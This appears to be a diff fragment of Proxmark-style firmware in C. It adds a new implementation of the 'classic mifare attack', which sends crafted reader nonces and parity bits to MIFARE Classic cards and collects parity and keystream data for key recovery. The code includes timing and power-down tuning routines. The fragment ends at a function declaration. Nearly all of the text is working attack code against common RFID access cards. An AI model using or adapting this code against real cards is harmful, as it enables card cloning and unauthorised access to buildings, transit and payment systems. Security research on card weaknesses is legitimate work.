+#define STATE_SIZE 100
+typedef struct AttackState{
+ byte_t nt[4];
+ byte_t par_list[8];
+ byte_t ks_list[8];
+ byte_t par;
+ byte_t par_low;
+ byte_t nt_diff;
+ uint8_t mf_nr_ar[8];
+} AttackState;
+
+
+int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
+{
+
+ // Transmit reader nonce and reader answer
+ ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
+
+ // Receive 4 bit answer
+ int len = ReaderReceive(receivedAnswer);
+ if (!len)
+ {
+ if (pState->nt_diff == 0)
+ {
+ pState->par++;
+ } else {
+ pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
+ }
+ return 2;
+ }
+ if(pState->nt_diff == 0)
+ {
+ pState->par_low = pState->par & 0x07;
+ }
+ //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
+ //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+ //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
+ //
+ // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
+
+ //led_on = !led_on;
+ //if(led_on) LED_B_ON(); else LED_B_OFF();
+ pState->par_list[pState->nt_diff] = pState->par;
+ pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
+
+ // Test if the information is complete
+ if (pState->nt_diff == 0x07) {
+ return 0;
+ }
+
+ pState->nt_diff = (pState->nt_diff + 1) & 0x07;
+ pState->mf_nr_ar[3] = pState->nt_diff << 5;
+ pState->par = pState->par_low;
+ return 1;
+}
+
+void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
+{
+ LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
+ LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
+ LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
+
+ byte_t buf[48];
+ memcpy(buf + 0, uid, 4);
+ if(pState != NULL)
+ {
+ memcpy(buf + 4, pState->nt, 4);
+ memcpy(buf + 8, pState->par_list, 8);
+ memcpy(buf + 16, pState->ks_list, 8);
+ }
+
+ LED_B_ON();
+ cmd_send(CMD_ACK,isOK,0,0,buf,48);
+ LED_B_OFF();
+
+ // Thats it...
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ LEDsoff();
+ tracing = TRUE;
+
+ if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
+}
+
+void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time);
+
+/**
+ * @brief New implementation of ReaderMifare, the classic mifare attack.
+ * This implementation is backwards-compatible, but has some added parameters.
+ * @param c the usbcommand in complete
+ * c->arg[0] - nt_noattack (deprecated)
+ * c->arg[1] - offset_time us (0 => random)
+ * c->arg[2] - powerdown_time ms (0=> tuning)
+ *
+ */
+void ReaderMifare(UsbCommand *c)
+{
+ /*
+ * The 'no-attack' is not used anymore, with the introduction of
+ * state tables. Instead, we use an offset which is random. This means that we
+ * should not get stuck on a 'bad' nonce, so no-attack is not needed.
+ * Anyway, arg[0] is reserved for backwards compatibility
+ uint32_t nt_noattack_uint = c->arg[0];
+ byte_t nt_noattack[4];
+ num_to_bytes(parameter, 4, nt_noattack_uint);
+
+ */
+ /*
+ *IF, for some reason, you want to attack a specific nonce or whatever,
+ *you can specify the offset time yourself, in which case it won't be random.
+ *
+ * The offset time is microseconds, MICROSECONDS, not ms.
+ */
+ uint32_t offset_time = c->arg[1];
+ if(offset_time == 0)
+ {
+ //[Martin:]I would like to have used rand(), but linking problems prevented it
+ //offset_time = rand() % 4000;
+ //So instead, I found this nifty thingy, which seems to fit the bill
+ offset_time = GetTickCount() % 2000;
+ }
+ /*
+ * There is an implementation of tuning. Tuning will try to determine
+ * a good power-down time, which is different for different cards.
+ * If a value is specified from the packet, we won't do any tuning.
+ * A value of zero will initialize a tuning.
+ * The power-down time is milliseconds, that MILLI-seconds .
+ */
+ uint32_t powerdown_time = c->arg[2];
+ if(powerdown_time == 0)
+ {
+ //Tuning required
+ int entropy = 100;
+ int time = 25;
+ entropy = TuneMifare(time);
+
+ while(entropy > 50 && time < 2000){
+ //Increase timeout, but never more than 500ms at a time
+ time = MIN(time*2, time+500);
+ entropy = TuneMifare(time);
+ }
+ if(entropy > 50){
+ Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
+ }
+ powerdown_time = time;
+ }
+ //The actual attack
+ ReaderMifareBegin(offset_time, powerdown_time);
+}
+void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time)